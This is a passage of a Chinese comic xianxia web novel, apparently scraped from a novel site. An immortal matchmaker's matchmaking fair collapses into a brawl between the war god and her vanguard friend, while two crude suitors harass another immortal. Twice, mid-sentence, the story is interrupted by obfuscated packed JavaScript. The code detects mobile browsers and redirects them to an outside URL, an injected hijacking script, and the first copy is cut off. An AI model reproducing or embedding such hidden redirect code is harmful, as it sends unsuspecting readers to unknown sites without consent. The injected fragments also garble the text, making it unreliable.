说着，她看向藏在柱子后的小姑娘：“这是你家的小执司？挺不错的的，你晕过去后立马就来找我了。多亏她，你才没有法力衰竭而亡。——还有，对我的这位爬行类朋友客气点，多亏了它把你从你那儿扛回了我这生灵殿，你才能醒的。” 语毕，鸣桐肩上的小蛇又嘶嘶吐出红色的蛇信。 灼春闻言双手合十向它稽首：“嗯嗯好好……感谢蛇姐！回头给你逮两只肥兔子当谢礼……哎哟！” 鸣桐轻轻在灼春脑门上弹了个脑瓜崩儿，严肃道：“好了，你又作什么妖呢？哪怕工作完不成也别玩自戕，看把人家小姑娘吓成什么样了！” 灼春捂着脑门说没有：“我力竭还不是为了工作！——好姐姐，你帮我个忙吧！” 鸣桐突然警觉起来：“你等等，这个月你可赊了不少药了，再赊你什么时候还得起！” “呃……那个回头再说啦～等会里发了月钱我立马还！我想请你帮的忙是——” 灼春将赊药的事儿敷衍过去后，当即捧住鸣桐的手，真诚地请求：“明天我要开相亲大会了，缺两个仙者，你来支持我一下？” “……你在说什么胡话？” 灼春言简意赅地说了自己为了吸引别人报名，故意整了两个仙者参与相亲作为噱头的事。 灼春：“姐姐！小妹明天全仰仗你了！” 鸣桐拿她没办法：“帮忙可以，但我不做托，不会和谁成亲的啊。” “知道知道！人去就行，不让你干那个！我还不至于为了业绩丧心病狂到那程度！” 鸣桐好奇：“你不是说要两个仙者吗？还有一个——你自己上吗？” 灼春摇头：“我得当司仪主持流程。” “那你打算找谁？” 灼春悠闲地躺回榻上，翘起二郎腿：“嗐，会里几十个仙者呢，难道还找不出一个肯帮忙的？我要求又不高，只要是仙者，缺胳膊少腿都没事儿，能喘气，明天能到场就行～” “估计还真找不出。” 鸣桐无情地打破她的美好愿景，掰着手指跟她分析：“躺在妙回堂的基本都是斗武殿的，他们性子直，铁定不干这事，你不嫌弃他们，他们还嫌弃你呢。余下能动的我再给你数数——你我撇开，还有……掌舵，这你肯定请不动；吉吾，你没钱请；凤脊……是吧？——哦对了，顶多顶多还有个战神。唔……说起来你跟战神也算有交情，说不定你开口，人家还真会来。但可惜，战神几天后才回，明天是赶不到了。” “……” 灼春听完僵住，默默放下了翘起的腿，两眼无神盯着殿顶，绝望地躺尸。 生灵殿寂静许久，灼春才重新打起精神，托鸣桐帮自己开传音阵，和几个负责人问问情况再商量商量—— “什么？都来报名了！？” 传音阵那边的负责人：“也不是都，大概一半吧！只不过我都领着人来报名了，怎么所里门关着呀？报名截止了？” “没没没！你帮我稳着点！我这就找人过去！！” 灼春关了传音阵立马朝远处的麻惠良大吼：“小麻快！快回去登记！一个都别放过！跑！跑起来！不不对，用飞的！御物飞行！” “哦、哦好……” 麻惠良立马取出自己的法器剑，向着情理所御剑飞行，嗖的一下连虚影都没剩下。 鸣桐摸着蛇头感叹后生可畏，却见灼春紧跟着跳下病榻，一边着急穿着鞋一边蹦跶着往另外的方向跑。 鸣桐：“哎，你不跟去？” “我摇人！！！” 4. 相亲混战 相亲大会的地址选在斗武殿的练武场。 斗武殿是相睦会的武力部门，所以战斗力的训练尤为重要。他们的人为了方便演练，就在练武场内放了类似袖里乾坤的法器，从而令练武场产生表面看着不大，其实里头辽阔不见边际的效果。 灼春回去看麻惠良的登记册，发现人数和预计的差不多，便按照计划在练武场举行了。 大会开始前一个时辰，灼春和麻惠良早早出现在会场再次确认流程和相应配置。 灼春顶着满头每一朵都比她自己的脸大的大红花，一边抬手扶着头花往发里扎紧，一边整理身上鲜艳的媒婆服，麻惠良就站在她边上根据她的提问确认清单上的流程。 “签到单准备了吗？” “嗯，准备好了，还备了一份以防万一。” “桌椅都分好了吧？” “嗯，我还在每套桌椅上都放了名牌，不会弄错的。” “牵线用的姻缘花数量还够吧？” “够了，每种款都是一对的，我还多预备了五十对素色的以备不测。” “那签到单……” “偶仙老师，您刚刚问过了，都备好了……” “哦哦……” 连夜的奔忙让灼春精神有点不济，思维有些混乱，恰此时，突然有人从后方猛地扑来抱住她吓她一跳。 “嘿！灼春，我提早过来帮你忙了，特意把兽友们都留在家了哦——啊啊啊你这什么脸！？你没事吧！？”鸣桐看见灼春的正面后，跟见了鬼似的惊叫出声，连退三步。 灼春见是鸣桐，登时放下心来，扶了扶头上的花，说：“哦你说这个吗？我特意为今天打扮的媒婆装，喜庆吧？” “媒婆装我还认不出来？不是说这个！”鸣桐摆摆手，捧起她的脸左右打量，“你瞧你这脸，憔悴成什么样了！你那是眼睛还是红灯笼啊？一点眼白都不见！脸上还那么多青筋，都连成蜘蛛网了！你是开相亲大会还是鬼屋啊？” 闻言，灼春忍不住委屈地瘪起嘴，扑进对方怀里就是嚎，说自己也苦啊，缺人手，还得连夜干活，身上法力都来不及补，亏了好几次，她都以为自己是个连法术都没学过的凡人了…… 鸣桐拍着她的背哄她，奋力仰起头，不让自己被灼春头上的花扎到。 “好好好……这样，你剩下有什么活我帮你干，你到一边调息，至少把精神恢复一点……” “姐！！大好人！！——” 将灼春哄去一边，鸣桐走向麻惠良问需要干什么，但在看见对方脸的时候第二次受了惊。 鸣桐：“……小麻，你在不在修仙？” 麻惠良有些愣：“嗯？嗯……学过的……” “那行。”鸣桐一把夺过她手里的那些东西，催促她到灼春身边去，“这些都是需要干的事儿了吧？行，都交给我。你去灼春身边，也调息调息，看看你们，都累成什么样了哪儿有力气见人啊……” 麻惠良有些感动，但更多的是惶恐与不放心，三步一回头，最终还是到灼春附近一起调息恢复精神去了。 比起她俩，鸣桐的精力极其充沛。 她仔细浏览过手中清单，便有条不紊、效率极高地将整个会场都确认了一遍，还额外发现了一些清单外的隐患，譬如排座位时有些位置不好进人，她全部小幅度做了调整。 做完一切，距离大会开始还有一刻多钟的时间，鸣桐伸个懒腰就去看灼春她们休息得怎么样了。 见鸣桐过来，麻惠良立刻从调息状态跳出来，噌地起身慌张打招呼。灼春则慢慢地运转完剩下的部分才缓缓恢复常态，只是一出状态就蹦起来熊抱鸣桐并大声感谢。 鸣桐端详两人，欣慰地点点头：“很好，恢复得不错！——小麻，大会快开始了，你先去入口那边，有人来了就安排签到。” “好、好的！” 灼春拥抱着鸣桐，发出喟叹，她们两个部门要是合并就好了。 鸣桐立刻让她打消念头。 鸣桐又说：“跟你透露个事儿——听说今天早上战神提前回来了，就在会里。因此，林鸿决定提早开总结会议，对大家论功行赏。” 灼春奇怪：“不是说战神回来还要几天吗？怎么这就？” “据说是战神日夜不休把前线的事加紧时间处理好了才赶回来的，谁知道提早回来干什么……不过我听说啊，战神凌晨回来，就一直呆坐在家里盯着空气好长时间，一动都不带动的，看着惆怅得很呢！” “啊？难道受什么刺激了？打架打输了？” “嗐，战神又不是百捷，对赢没那么执着——不是！你关注的点错了！” 灼春疑惑：“啊？难道你不是想和我分享八卦吗？” “是！但也不是……就是——”鸣桐凑近她的耳朵，挡着嘴轻声道，“我听说，总结会议就在后天……这两天你努力把业绩赶一赶，抓紧报告给林鸿——后天会议上的奖赏说不定能翻番呢！” “好姐妹啊！！” 两人又嘀嘀咕咕聊了好一会儿的八卦，麻惠良就过来通知，与会人员都到齐了，大会预计开启的时间也差不多到了。 灼春在人群中东张西望了一会儿，却迟迟不准备开场，鸣桐疑惑地再次喊她。 灼春：“哎呀再等一会儿，还有一个人没到呢……” 鸣桐拿过麻惠良手里的签到名单从头到尾看了一遍，没发现有缺席的。 鸣桐：“你在等谁？该到的人确实都到了，就算真有现在都不到的……十有八九临时变卦不来了，别等了直接开始吧。” 麻惠良看了眼躁动喧嚣的人群，随声附和。 “不是……这个还真必须等！”灼春压低了声音，“我请的另一位仙者还没来呢！‘两位仙者’，这是我早在报名前就说好的噱头，现在说少人，场上起码得跑一半人！” “啊！？” 鸣桐差点忘了这事儿，惊呼一声后，立马压低声音询问：“你找了谁啊？说清楚时间了吗？该不会记错日子了吧？” “凤脊啊！”灼春郁闷道，“也只能硬着头皮找她了呀！我求了她一夜好不容易才磨成的！时间不可能错，我说了好几次，还让她重复了呢！” 鸣桐：“……” 鸣桐：“你找谁不好找她……完了，被放鸽子的概率提高到九成九了。” “……” 现在想想，自己竟然会选择相信凤脊，灼春也觉得她过于愚蠢了。 唉，所以还是要休息好啊。休息不好，精神不济，就会做出错误的判断。 灼春下意识挠挠头，不小心掉了一朵头发，赶紧捡起来别回去。 灼春：“唉，那只能先想办法糊弄过去了……” 鸣桐问她打算怎么办，灼春想了想，说，要不哄大家另一位仙者是重量级嘉宾，要到大会结束才揭晓。 麻惠良小声反对：“偶仙老师，那大家会不会因为想见隐藏嘉宾，而故意不配合相亲，保持单身到最后啊……” 灼春：“！！” 灼春叹气：“是是是……我又糊涂了……小麻，你到入口再等等看，我先开场拖延时间——要真不行……啊！豁出去了！我自己上！怎么样也得把信用保住！” 麻惠良应声，三步并作两步跑去入口了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950194|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎哟！大家猴啊大家猴！今天天气很好呢，阳光明媚，微风徐徐，美得人春心荡漾的！正适合咱们今天的主题！相亲！——大家可能不太认识我啊，我来自我介绍一下……” 灼春登上会场中央的舞台——本来是练武场擂台，被灼春临时改造成了舞台——笑容灿烂地跟大家扯闲天，热场子，人群竟也被她吸引住，没发现异常。但是知晓内情的鸣桐在一边，忍不住为灼春捏一把汗。 正此时，麻惠良蓦地出现，似乎有什么话要找灼春说，见灼春已经上台，急得不行。鸣桐便拉了她问有什么事，和她说也一样。 小麻：“外头来了个寸头发型的人，我跟他说话他也不回答，看着不大好惹，所以我就来通知偶仙老师了……” 寸头？ 鸣桐灵光一现，当即吩咐她在这等着，自己出去看看。快到入口，果然瞧见一个身高一米八的寸头端端正正站在入口，如站军姿。 “龙缨！你来得正好！我这边有事请你帮个忙，就凑个人头——你不忙吧？”鸣桐开心地跟对方打招呼。 “忙是不忙，帮忙也行……可我们斗武殿的练武场怎么会变成这样？”龙缨指着自家如今变得红艳艳，满是鲜花和彩色绸缎的练武场，皱起了眉头。 “诶你没听你在妙回堂养伤的战友们说么？你们斗武殿的人最近都在休养，反正练不了武，于是掌舵就把练武场暂时借给灼春开相亲大会了——正好我们缺个仙者，要不你过来和我们搭一下？放心，灼春说了，什么都不用干。” 龙缨没反对，跟着鸣桐就进了会场。 “接下来……” 那边高台上的灼春本来已经啰嗦得差不多，正想介绍兽医仙鸣桐，却见她和小麻耳语两下又走了，额角的几滴虚汗哗的一下跟雨后蘑菇般噌噌往外冒。 灼春：“咳咳……接下来我跟大家交流一下我们今天大会的主要流程……” 幸好在她绞尽脑汁、搜肠刮肚说完一系列废话之前，就看到鸣桐拉着一个寸头仙者过来了。灼春眼前一亮，与鸣桐默契地交换眼神后，当即将介绍仙者的环节重新拉了回来。 “接下来，由我，郑重地，隆重地，情深义重地，为大家介绍，同样参与我们今天相亲的两位仙者，兽医仙‘鸣桐’！和——” “灼……春！！” 灼春还没来得及介绍完，就见鸣桐身边的龙缨蓦地冷了脸，凭空变出一把长戟，野兽般咆哮着冲上高台对自己使出杀招—— 真想杀她！？ 凌厉的杀招逼出了灼春的求生欲，她凭着本能四处逃窜。在场的普通人反应过来后，立马坐不住了，惊叫着四处奔逃。 不行，会伤到人…… 灼春见状，一咬牙，动用法力向天飞去，但是力量不济，只飞了三四丈便停住了。龙缨杀红了眼紧随其后，招招暴击，灼春只能先顾着自己躲闪，再无暇顾及会场中人。 可恶……她的业绩…… 会场上的麻惠良看看天又看看附近的人群，从没经历过这些的她根本不知该如何是好，只能无助地看向鸣桐。 鸣桐也没沉着到哪儿去，看着半空中的追逐戏失了动作。 她怎么也想不通，这两人什么时候交恶的？怎么关系差到当众打起来还招招致命。 ——“龙缨你疯了！对我朋友下杀手作甚！？” 半空中忽然划过一道破空的闪电，紧接着寸头仙者和灼春之间多了一个健硕的身影，将单方面追杀变成了三人的混战——当然，灼春是被“战”的那个。 围观群众鸣桐发出了和所有在场者一样的疑惑—— “啊？” 5. 业绩再见 看见两人变三人，本来还有点担心灼春安危的鸣桐忽然放下心来。她捡起灼春刚刚落下的扩音器，语气镇定地喊话—— “大家安心！不要紧！没事！这是我们为大家准备的一个娱乐小节目！由偶仙、战神携其麾下先锋官，三位仙者联袂出演！大家坐下来安静观赏就可以了！不想观赏，无视也可以！不影响不影响~保持心情愉悦最要紧哈~” 观众：！ 麻惠良：？ 她低声问：“鸣桐老师，这是事先准备的节目吗？偶仙老师之前没和我提过呀？” 在场的也有人发出了类似的疑问：“不对吧？这是表演节目吗？怎么感觉真刀真枪地在打呢？” 鸣桐笑着回复：“当然真刀真枪了，这样才逼真嘛。但是大家放心，一切都是节目效果，不会有人真的受伤。仙者嘛，大家都知道的，一般的武器是杀不死的。” “哦哦……” 又有几人提出了疑问，鸣桐都一一忽悠了过去，为了让大家不再关注真假，她甚至带着众人观摩起半空中三人的混战，并激情解说起战况。 ——“各位请看，现在偶仙找到机会离开了战场——哎呀不好！被战神发现重新拖入争斗，且被狠狠踹了一脚屁股！” ——“好！现在先锋官为了救偶仙飞起一腿劈向战神的后腰——哎呀呀！可惜用力过猛，战神前方的偶仙也受到波及折成两截！” ——“诸位诸位！看到偶仙的操作了吗？何等狡猾！居然想借被踹的那一脚顺势逃离！但是战神身经百战岂会看不破这点小伎俩？当即长戟一甩，戟头挡在偶仙去路——哎哎哎！看到了吗看到了吗！偶仙果然是装的！在即将碰到戟刃时立马调转了身形避开要害！” …… 麻惠良只看见三个影子嗖嗖嗖的，再配合鸣桐的解说更加云里雾里不知所谓。可是她偷瞄其他人，发现大家看得津津有味——她顿时不自信了。 是她太笨了所以看不清吗？ 鸣桐在解说中途忽然攘了麻惠良一把，悄声让她上台接替灼春把相亲大会的流程走下去。 闻言，麻惠良一咬牙，哆哆嗦嗦接过扩音筒，站在高台上说话，然而声音抖似筛糠，轻若蚊蝇叫，底下观众全在观看半空中的打斗，根本听不见。 见状，鸣桐只好取过她手里的流程单自己上。 “好了家人们，天上的节目就当背景音乐，咱们今日的主题是相亲，各位可不要忘了哟……” 鸣桐行云流水一般顺下了流程，让灼春之前准备的工具都派上用场，不少未婚男女在道具的指引下找到了自己看顺眼的人，慢慢聊了起来。 大会进入正轨，鸣桐松了口气。她扭头看见扣着手局促不安的麻惠良，柔声安慰她不用在意。 鸣桐：“第一次在这种大型集会发言确实会紧张的，以后多参与就好了，别放心上！” 说着，她看向头顶那三个大神，心里犯嘀咕，不知道她们会打到什么时候，当初龙缨和百捷对打的最长历史记录可是九天八夜……不过混进了一个灼春，应该很快就会结束了吧？ 麻惠良试探性地问：“鸣桐老师，先锋官老师为什么要对偶仙老师动手啊？” “嗯？没有吧？——噢你是不是认错人了？” 鸣桐忽然想起来这个小姑娘是最近才出现在灼春身边的，估计没认全人，于是指着天上打得不可开交的二位介绍给她。 “喏，那个寸头，长得挺好看、丰神俊逸的那个，是战神龙缨，一人击退肆虐三年灾潮的英豪；那个头上扎一个高高的长麻花辫，满身腱子肉，壮得跟头猛犸象似的，那才是先锋官百捷。” 麻惠良点着头，内心还是很困惑。 怎么下属比上司看着厉害？而且下属怎么敢跟上司起冲突的？ 鸣桐接着跟她介绍三人之间的关系：“攻击灼春的是战神龙缨，先锋官百捷呢，是保护灼春的。百捷和灼春没成仙前就认识了，据说是穿同一条裤子的发小，关系极好。一般谁欺负了灼春，百捷都会替她把场子找回来，所以灼春还没在别人手里挨过打。——战神龙缨，嘶……我记得她跟灼春没什么往来啊？要说的话，还是灼春帮她历的劫，让她涅槃重生法力进阶，照理不该结仇该结恩哪？” “先锋官很厉害吗？不可能比战神还厉害吧？” “那可说不准。”鸣桐回忆起往昔，咋舌道，“百捷好胜，要是打架打输了，就会不断挑战直到完胜。在灾潮以前，论单打独斗，整个相睦会没一个能赢她的，但是在战神历劫之后嘛……那就说不好了。” 麻惠良傻眼了：“她比战神还厉害？那为什么百捷老师只是先锋官，而不是战神啊？而且……击退灾潮的……” 鸣桐左右晃晃食指，哼笑：“当战神可不是会打架就行，战术谋略也很重要的~百捷这人啊，单打独斗是很厉害，但团战就不大行了，就喜欢莽，半点不带考虑的。灾潮刚开始，她就冲在最前面，虽然对敌方造成的伤害巨大，延缓了灾潮的扩张，但每次都被数量庞大的敌人吞噬得只剩半条命。伤太重送回后方治疗吧，刚治好，二话不说又冲上前线了！三年时间里，大概只有一个月在前线，剩下的时间都在妙回堂接受治疗。” “喔……不愧是‘先’锋官啊……” 麻惠良还想问问什么是历劫，突然有两个人走过来搭话，一个体型偏胖半脸痘，另一个头发油腻腻紧贴着皮肤。 “鸣桐，兽医仙是吧？”半脸痘开口问。 鸣桐看见二人的形象，身躯一震，笑容差点挂不住。以本心来说，她并不想理会甚至还想扭头就跑，但在这种场合，出于礼貌，她还是不得不挤出笑容勉强回应。 “我是。——二位是有什么关于大会的疑问吗？我会尽力解释的。” 麻惠良瞥见鸣桐的反应有些诧异，虽说眼前这俩男的确实不好看，可这种反应是不是有点过了？ 连小麻都看出了鸣桐的不适，但半脸痘和油腻腻却没看出来，反而上前两步从原先的一丈之距变为一尺。鸣桐僵笑着下意识后退半步，理智发现这不礼貌，便硬生生收回后退半步的脚，只是腰板挺得更直了，身子笔直地小幅度后倾。 半脸痘上下晃着脑袋说：“是有问题。” 鸣桐僵笑：“您问。” 半脸痘皱着脸环视了一圈周围，抱怨道：“这里的姑娘我们一个都看不上，质量太差，白白辛苦我们大老远跑过来参加这个什么什么活动！你们就没有好一点的货吗？” 麻惠良听了对方的措辞不大高兴，忍不住回复：“我们这是相亲大会，不是卖商品的！” 半脸痘和油腻腻斜了一眼鸣桐身边的小姑娘，根本不上心，仍然紧盯着鸣桐要答复。 鸣桐笑了笑：“那真是不好意思了，看来二位的缘分不在这里，辛苦你们来这，以后我们再安排相亲活动会尽量通知二位的。” “狗才会再来第二遍！”半脸痘摆摆手拒绝，随后上下打量鸣桐，摩挲着下巴，说道，“我看你还凑合。年纪大是大了点，姿色也一般……不过是个仙者，条件还可以——就你吧！” “……嗯？” 鸣桐以为自己产生幻听了。 油腻腻突然用胳膊肘捅了半脸痘一下，质问他怎么能抢跑，随后转向鸣桐，随意地一挑下巴：“这样，今天你运气好，我们俩给你机会，我和他，你从里头选一个吧！告诉你，对别人，我们可没那么好的耐心。” 鸣桐脸上的笑真的快挂不住了：“二位，我想你们误会了……” 半脸痘打断了她的话：“你要想嫁进我们家享福呢，首先要孝顺公婆，洗衣做饭那是必不可少的！当然了，一定要生至少三个儿子三个女儿，为我们家开枝散叶传承香火！” 油腻腻推搡了一把他，抢过话头，抠着鼻子抖着腿：“我们家就没那么多要求，只要把我伺候好就行。孩子嘛，不用多，有个儿子就可以了。” 鸣桐此刻可以确认，这俩货，文盲来的。 鸣桐：“二位，呃……我觉得，人有空的话，平常还是要多读点书，特别是常识这方面，需要……多了解一下，才不至于在生活中闹笑话。打个比方——成仙的人，没、有、生育功能。” “真的假的我看看——” “哎你干嘛！” 半脸痘不相信地伸手去碰鸣桐的身体，麻惠良眼疾手快挡了一下，立马拍飞对方的手，与此同时鸣桐也冷着脸拎起裙摆后退数步，将对方动手带起的气流一并避开。 鸣桐心想，灼春为了赶业绩竟也不筛查与会人员的素质，对其他人太不负责，回头一定得好好提醒。 “好哇！不让我们检查！你们一定在骗人！瞧不起谁呢！？” 油腻腻弹飞指尖的鼻屎团子，撸起袖子就去抓鸣桐。麻惠良为了躲避弹过来的鼻屎球闪了一下，就不小心摔下了高台，还给半脸痘留出了凑近鸣桐的空间。鸣桐关注着小麻的情况，一时不察，就被油腻腻摸到了宽袖一角—— 鸣桐远离了二人，盯着被油腻腻碰到过的地方，脸色煞白，瞳孔地震。 刚刚……那人是用哪只手、哪根手指碰到的？ 好像……是他抠过鼻子的那根……？ 此念一出，鸣桐仿佛看见了微小的鼻屎粒在自己衣袖上逐渐扩大、扩大……直至变成一个巨大的鼻屎怪兽，张着黏糊糊、脏兮兮的大嘴一口把自己吃掉—— “嘭！” 麻惠良从地上爬起来看向高台，就看见鸣桐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950195|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻着白眼直接昏倒在台子上。 麻惠良怒道：“你们居然打人！她可是相睦会的仙者！你们太无礼了！” 半脸痘和油腻腻不约而同地嗤笑：“相睦会怎么了？说白了不就是伺候我们的仆人吗？还仙者，以为自己有多高贵哦！” “你们！” 麻惠良气得憋红了脸，她从没接触过这种无赖，情急之下哑了炮，吭吭哧哧许久说不出话，只能抛下一句“你们迟早会遭报应”的狠话。 半脸痘和油腻腻在市井混惯了，这种狠话甚至不配在他们耳朵里打个转。 “小丫头，你是不是生气我们没看上你啊？来来来，哥哥们陪你好好玩玩——” 两人正走向麻惠良，随着嘁哩喀喳一声兵刃相接的脆鸣，半空中砸下一团人，正是混战的龙缨百捷还有灼春！ 三人正砸到高台上，周围荡开一圈一丈高的尘土，法力交汇冲出高压，将会场的人通通往后强推两三丈。会场里的人这才怔怔地反应过来，神仙真的在打架。 “跑啊！” 也不知是谁喊了一嗓子，会场里的所有人立时附和尖叫，惊惶逃窜。 “——不是！别走啊！伤不到你们！你们继续聊天呗！别走！我的业绩！！” 鼻青脸肿的灼春从扭打成一团的两人身下奋力爬出半个身子，满头的大红花不知什么时候全都散了，只剩下勾着几缕头发坠下的三两朵残花；身上的衣服破破烂烂，距离变成布条只一步之遥，大红色被灰尘扑得斑驳难看。 然而想阻拦大家伙跑路的她，只来得及见大伙逃走的背影，以及瞬间空旷的会场。 灼春还没开始哀嚎就又被战神扯破布一样拎着腿飞了个以她身长为半径的圆弧再狠狠砸到地上，下一瞬一身腱子肉的百捷就咆哮着飞身骑到战神脖子上让她也尝到砸进地里的疼痛。不过战神不愧为战神，从坑里弹起双腿倒扣在百捷肩上，反客为主，回报一阵拳头雨…… 麻惠良不敢干预神仙打架，只能看准时机跑到昏迷的鸣桐身边，将其尽量拖离混乱。 “怎么回事！！龙缨！百捷！你俩给我住手！” 掌舵林鸿忽然出现在会场，厉声呵斥，会场内打作一团分不清彼此的三人这才停手。 只不过停手归停手，龙缨百捷各自揪着对方的头发、耳朵、脸皮等地方，胳膊肘、膝盖抵着对方身躯的柔软处，暗中使劲，内潮涌动。 林鸿眯着眼探看片刻，拧眉喊道：“你俩身下坐着的是谁？起开！” 龙缨百捷各自使着暗劲儿都不肯动，直到林鸿怒冲冲地走过去，才同时撒手各自走开，露出一个——一张人？ 林鸿皱着眉头缓慢地扶起几乎不成人形的那人，忖量许久才试探性地喊了一声“灼春？” 被打到麻木的灼春听见这一声，当即忍不住，噗的一下努起嘴委屈出声，不管不顾地瘫坐在地上跟个三岁孩子一样嚎啕起来。 林鸿当即捂住耳朵，往她身上丢了一个疗伤的法术。 林鸿：“收声！这个疗伤法术当我免费送你的，别哭了……今天这事我一定彻查严办你放心。” 灼春还是哭个不停。 满身淤青的百捷当即开口指责龙缨：“你看你把孩子委屈成什么样了！你知不知羞！” 龙缨偏头：“哼！！！” 管不了灼春，林鸿只好先管两个大的。 “龙缨百捷！你俩跟我来——不许打架！”接着林鸿又对灼春吩咐，“你把这里的残局收拾好，心情平复了再到主殿找我。” 林鸿提着两个武人往外走，又看见边上晕倒的鸣桐和一脸呆愣的凡人小姑娘。 林鸿皱眉：“鸣桐又是怎么昏了？” 麻惠良一愣：“……好像是被人打昏的……” “人？谁？这么傲慢？” 没等人回答，林鸿就自己说算了，等当事人醒了再说，一并将人带走。 会场瞬间陷入死寂——除了灼春的恸哭。 麻惠良蹑手蹑脚地蹲到灼春身边：“偶仙老师，要不您先回去休息，这里交给我收拾？” 灼春：“呜哇——” 麻惠良：“！！” 灼春突然哭得更凶了，对于安慰人没有一点经验的小姑娘登时硬化，头脑飞速转动，才勉强找出一句似乎适用于当下场景的话——“你觉得哪里疼吗？我给你揉揉？” 灼春：“呜哇！！——我的业绩啊！！——没了啊！！——假期啊！！——飞了啊！！——” 麻惠良手足无措，想了想，说不出安慰的话，只好当起面点师傅揉揉哭泣的偶仙的脑袋。 灼春：“呜哇！！——你碰的地方都好疼啊！！——” 旋即收手。 6. 成熟点吧 “你们其中，谁——想主动交代？” 林鸿坐在上首，左右看看下方神色不一的二人，指节叩叩叩地敲击着桌面。 战神龙缨黑着脸看地面，仿佛被夺取了语言能力，一言不发；先锋官百捷抱臂抬头，一副“老子没错”的死样。 知道这俩人什么德行的林鸿叹了口气，觉得压力颇大，于是作为缓冲，看向一边刚醒来就开始扒自己外衫的鸣桐，呵斥道：“鸣桐！注意影响！大庭广众别动手动脚的！” 正在扒自己被污染的外衣的鸣桐：？ 她又没扒别人衣服，脱自己衣服也有问题啊？——再说了，又不是脱得一件不剩。 “你们两个好好反省！我待会再问你们的事！” 对不配合的两人说完，林鸿扶额转向鸣桐：“鸣桐，说一下你知道的东西。” 鸣桐捋了捋思绪，从最初开始讲起：“呃……今天是灼春办相亲大会的日子——这件事你审批过的，应该记得？” 林鸿嗯了一声让她继续说。 于是鸣桐就把“灼春以两位仙者参加相亲为引子，结果找不齐人，于是自己临时把临时出现在相亲大会上的龙缨喊来帮忙，结果龙缨一见到灼春就开打，百捷路过加入战局，然后她代为主持相亲大会被两个凡人纠缠，出于种种原因就晕了”的事快速讲了一遍。 林鸿听完，当即拍桌。 “胡闹！偶仙还知道自己是偶仙吗！？哪儿还有一点为人仙者的模样！仙者是拿来吸引他人提升业绩的幌子吗！？不像话！越来越不像话！” 骂完了并不在现场的灼春，林鸿舒了口气，蹩眉问鸣桐她是为什么晕倒的。 林鸿：“在场的那个小姑娘说你是被人打晕的，确有此事？谁打的？修仙者吗？” 鸣桐不太愿意解释，但是不解释又说不过去——堂堂仙者，居然被一介普通人打晕，说出去她不是成全天下最大的笑话了？ 她支支吾吾地说：“没有被打……就是……有脏东西沾到我衣服上，有点受不了……” 啊……对了，兽医仙有严重的洁癖。 林鸿：“……嗯，知道了。这里没你事了，回去歇着吧。” 鸣桐捏着外衫的一角将手臂绷直离自己远远的，保持着这样紧张的姿势离开了主殿。 林鸿辖下的赵执司和刘执司推着辆载着两晕厥普通人的小车进入主殿——龙缨带着所有幸存的执司从前线回来后，各位执司各归各位，暂时缓解了相睦会各部缺人手的燃眉之急。 赵执司问：“掌舵，这是在练武场发现昏迷的两个普通人，初步推断是距离战神和先锋官太近，被气流冲击昏倒的。您看怎么办？” 林鸿起身去看小推车上的那两人，忽然发现这俩一个半脸都是痘子，另一个头发油腻得可怕，正符合鸣桐之前所说试图调戏仙者那两人的形象。 林鸿思索片刻，吩咐道：“我观他们气色尚可，送去会外最靠谱的那家医馆看大夫吧。不过，既然是被仙者误伤的，我们相睦会必须表示一下，嗯……等这二位醒了后，我会让战神和先锋官写好一千字道歉信，亲自去他们面前悔过致歉。” 赵执司还想说什么，就被刘执司扯扯衣袖，强行应声离开。 两人推着人退出主殿，赵执司不解地问刘执司为何不让他提醒掌舵，这两人明显伤得不重，只是精神被冲击到了，若掌舵稍微出点力就能痊愈，没必要特意送医。 刘执司：“你能想到的掌舵会想不到？没看出来掌舵是故意不救这两人的吗？换做以往，若是仙者伤了人，掌舵早就拨款送物安抚人了，可这次只是让两位仙者当面道歉，看着体面其实都是虚的，实质性东西一概没有！可以推测，定是这两人做了什么不法之事触怒掌舵了。” 赵执司“啊”了一声：“掌舵怎会如此？这两人毕竟是普通人，有什么做得不对的都可以理解，再者说这两人还晕厥着，何苦这样，太不近人情了吧？” 刘执司轻嗤：“你少在那里严以待人了！掌舵什么人，我们跟在她身边那么些年还不清楚？她哪次不是先人后己、秉公办理？只可能是这两人有问题……算了，反正上头怎么说我们怎么做呗。” 两位执司不再啰嗦，将两人推出相睦会，但是在选择哪个医馆时，他们又发生了分歧。 赵执司发现同伴方向不对：“你走错了，那边是去悬壶医馆的，这边才是王大夫医庐。” “我们去的就是悬壶医馆！”刘执司走着自己的路，回头看他一眼，“好歹是从咱相睦会送出去的，怎么能去小医庐呢？被人知道还以为我们不重视呢！送医肯定是去大医馆啊！” 赵执司想想有点道理，马上跟上去，但是他怎么想怎么不对。 可是……掌舵不是不打算出医药费吗？虽然医馆比小医庐靠谱，但是收费也高好几倍，合适么？ 相睦会的主殿内，林鸿与不配合的两人大眼瞪小眼僵持许久，直到灼春破破烂烂、精神萎靡地出现，沉默久矣的龙缨忽地暴起，化出长戟冲过去，百捷相机而动，化出盾牌挡在灼春面前，紧接着再化出一人高的长枪反攻—— “够了！当着我的面还要再打吗！？” 林鸿再度拍案，喝住龙缨百捷，将一触即发的战事强压下去。 原本灼春见着龙缨还有点慌张，见百捷和林鸿在，底气突然生了起来，指着被百捷制住强压杀气的龙缨，对着林鸿哭诉。 “老大你都看见了！我啥都没干她就要打我！你看她都以气化物了！分明是想要我的命啊！老大！老大你要为我做主啊老大！！” 林鸿皱着眉看龙缨及其手里的长戟，觉得她确实过了。 